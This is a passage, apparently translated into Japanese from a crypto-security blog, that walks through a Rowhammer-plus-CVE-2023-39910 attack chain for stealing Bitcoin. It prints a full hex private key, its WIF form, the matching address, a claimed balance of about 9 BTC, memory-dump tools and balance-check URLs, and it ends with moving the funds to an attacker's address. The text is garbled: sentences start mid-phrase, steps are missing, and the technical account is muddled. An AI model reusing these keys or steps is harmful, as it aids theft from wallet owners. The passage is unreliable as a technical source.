この段階で低レベルの攻撃プロセスが完了し、その後、攻撃者は生じたビット誤りを利用して秘密鍵を抽出したり、アクセスレベルをさらに昇格させたりすることができる。厳密に定義された、ソフトウェアおよびハードウェアで保護されたメモリ領域にビット誤りを誘発できることが、Phoenix Rowhammerを特に危険で実用的な手法にしている。 cybersecurefox+1
Phoenix Rowhammer攻撃の悪意あるチェーンの第5段階では、誘発されたビット誤りによって侵害されたメモリからBitcoinウォレットの秘密鍵を抽出する。

ここでの主要な脆弱性は CVE-2023-39910 (Milk Sad) であり、これは Libbitcoin Explorer 3.x および関連する暗号ライブラリのソフトウェア実装に影響を与える。
CVE-2023-39910 は、秘密鍵の生成時にエントロピー生成メカニズムが弱いことを特徴としており、攻撃者は暗号操作の完了後に残存する(「ダーティな」)メモリ領域にアクセスできれば、元の鍵やシードフレーズを復元できる。Rowhammer攻撃後、秘密鍵が保存されていた破損した(またはクリアされていない)RAMバッファ(
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 )は直接検索可能になる。
gcore、volatility、/proc/<PID>/memの直接読み取り、または専用のメモリダンプ解析ライブラリなどのツールを使用)、特徴的なパターンを探す: 秘密鍵またはシードエントロピー に一致するビットシーケンスとシグネチャ。15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)、鍵は正常に抽出されたと見なされる。このような攻撃は、2つの要因の組み合わせなしには不可能である: (1) RowhammerによるDDR5メモリのハードウェア侵害、および(2) 重要な情報を未クリアのバッファに保存できるようにするソフトウェアの欠陥。Libbitcoin Explorerでの弱いエントロピーアルゴリズムの使用は、メモリ破損によっていくつかの情報が失われたり破損したりしても、攻撃者が秘密鍵を復元するタスクをさらに容易にする。
この段階は、根本的なシステム上の問題を示している: ハードウェアおよびソフトウェアの脆弱性が存在する場合に残存RAMブロックから秘密鍵を復元できる能力であり、これは暗号通貨エコシステムへの信頼を決定的に損ない、暗号データの保存および処理時の安全なメモリ管理の原則の見直しを必要とする。
悪意あるチェーンの第6段階では、侵害されたBitcoin秘密鍵を16進数(HEX)表現からWallet Import Format Compressed(WIF圧縮)に変換する。これは、最新のウォレットやサービスに鍵をインポートするために一般的に使用される形式である。

科学的な変換手順は Base58Check エンコーディング標準に基づいており、いくつかの重要なステップを通じて実行される:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60)は、ECDSA secp256k1秘密鍵標準に準拠する32バイト配列として解釈される。0x80が配列の先頭に追加され、基盤となるネットワークプロトコルを区別する。0x01が追加され、公開鍵が圧縮されるべきであること(圧縮公開鍵)を示し、結果として「K」または「L」の文字で始まるアドレスが生成される。その結果、構築されたWIF圧縮鍵 — 例えば L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP— は、「K」または「L」で始まる52文字の文字列である。
このプロセスは、暗号解析のための専門サービスやツールで詳細に説明されており、Bitcoin鍵を扱う多数のソフトウェアライブラリでもサポートされている。 btcpuzzle
したがって、このステップは、攻撃者が標準化された運用手順を使用して、取得したHEX鍵を広く使用されているWIF圧縮形式に変換し、侵害されたBitcoinアドレス内のデジタル資産へのその後の不正アクセスを行う方法を示している。
秘密鍵からBitcoinアドレス(例: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)を生成する科学的プロセスには、楕円曲線アルゴリズムsecp256k1とBitcoinアーキテクチャで使用されるハッシュ関数に基づくいくつかの基本的な暗号変換が含まれる。

15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)と比較される。一致が成功した場合、そのアドレスの資産に対する完全な制御を伴って攻撃は完了したと見なされる。このプロセスは最新のウォレットやライブラリで完全に自動化されているが、科学的分析は、秘密鍵と楕円演算の正しい実装があれば、Bitcoinアドレスの復元は一瞬で完了し、プライベートデータとネットワーク上の公開識別子との間のアーキテクチャ上の連続性を強調していることを示している。 generate.mitilena+1
したがって、アドレス生成ステップは、侵害された秘密鍵をBitcoinエコシステム内のデジタル相当物にリンクし、さらなる暗号操作を通じてウォレットの資産へのアクセスを攻撃者に与える。
悪意ある手順の第8段階では、侵害されたBitcoinアドレス( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)で利用可能な資産を検証する。このステップは、その後の操作の経済的実現可能性を確認し、潜在的な損害を評価するために必要である。

Bitcoinブロックチェーンアーキテクチャは、各アドレスに関連するすべてのトランザクションを記録する公開分散台帳に基づいている。任意のウォレットの残高を確認するには、秘密鍵や特別なアクセスは不要である: 公開APIエンドポイント、Webサービス、または自律ノード — 例えば、Insight REST API、Blockchain.info、Blockstream、またはRPCインターフェースを備えたローカルのBitcoin Coreノード — にアクセスするだけでよい。
https://blockchain.info/rawaddr/{address}または https://insight.bitpay.com/api/addr/{address}/balance。Bitcoinのオープンソースの性質により、ウォレットの監視が容易になり、攻撃者は不正なアドレスの正確な残高を判断できる(この例では、 9.023322989 BTC 、これは レート $124,904 per BTC で $1,127,026.44 に相当する)。Bitcoinインフラストラクチャのこの特徴は追加のリスクも生み出す: 秘密鍵の喪失は資金の制御喪失につながるだけでなく、第三者(攻撃者を含む)に対して即座に完全に透明になる 。

したがって、残高検証ステップは、ブロックチェーンシステムの情報の開放性を強調し、暗号鍵の成功した侵害をデジタル資産の所有者への実際の損害に結び付けて、科学的攻撃チェーンを完了する。残高検証ステップ中、攻撃者は公開ブロックチェーンエクスプローラーAPI — 例えば、Insight REST APIやblockchain.info — を使用して、侵害されたBitcoinアドレス内の資金の現在の状態に関する情報を取得する。APIにGETリクエストを送信するだけでよい: 例えば、 https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit でアドレスの残高をSatoshi単位で取得し、結果をBTCに変換する。 cryptodeep+2
このプロセスは完全に透明であり、秘密鍵の所有を必要としない: 公開アドレスの知識で十分である。結果のデータ( 9.02332298 BTC )は、現在のBitcoin市場レートと比較して、相当額をUSDに変換できる( ≈$1,127,026.44 攻撃時点)。ソフトウェア手法により、これらのステップを自動化して攻撃アルゴリズムに組み込むことができ、その後の盗難の経済的実現可能性を即座に検証できる。 habr+1
科学的な分析の観点から、残高検証段階はブロックチェーンシステムの独自の透明性を示しており、鍵が侵害されると自動的に資金の管理権を失い、所有者のリスクは資産の完全な喪失にまでエスカレートします。 habr+2
悪意のあるキャンペーンの最終段階では、Bitcoinウォレットの秘密鍵の抽出に成功した後、攻撃者は侵害されたアドレス( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)から利用可能なすべての資金を、攻撃者が管理するアドレスに転送することを目的としたトランザクションの形成とブロックチェーン上での伝播を開始します。